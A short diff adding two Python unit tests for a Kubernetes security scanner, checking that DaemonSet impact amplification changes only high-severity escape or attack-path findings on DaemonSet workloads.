+def test_daemonset_amplification_skips_non_daemonset(): + findings = [Finding(id="ESC-PRIV", title="x", description="x", severity="critical", + category="Escape", impact="Root on the node.")] + out = amplify_daemonset_findings(findings, "Deployment") + assert not out[0].impact.startswith("[DaemonSet") + + +def test_daemonset_amplification_only_touches_escape_and_attackpath(): + findings = [Finding(id="POD-PE", title="x", description="x", severity="medium", + category="Pod Security", impact="meh")] + out = amplify_daemonset_findings(findings, "DaemonSet") + assert out[0].impact == "meh" # untouched (not Escape/AttackPath, not high/critical)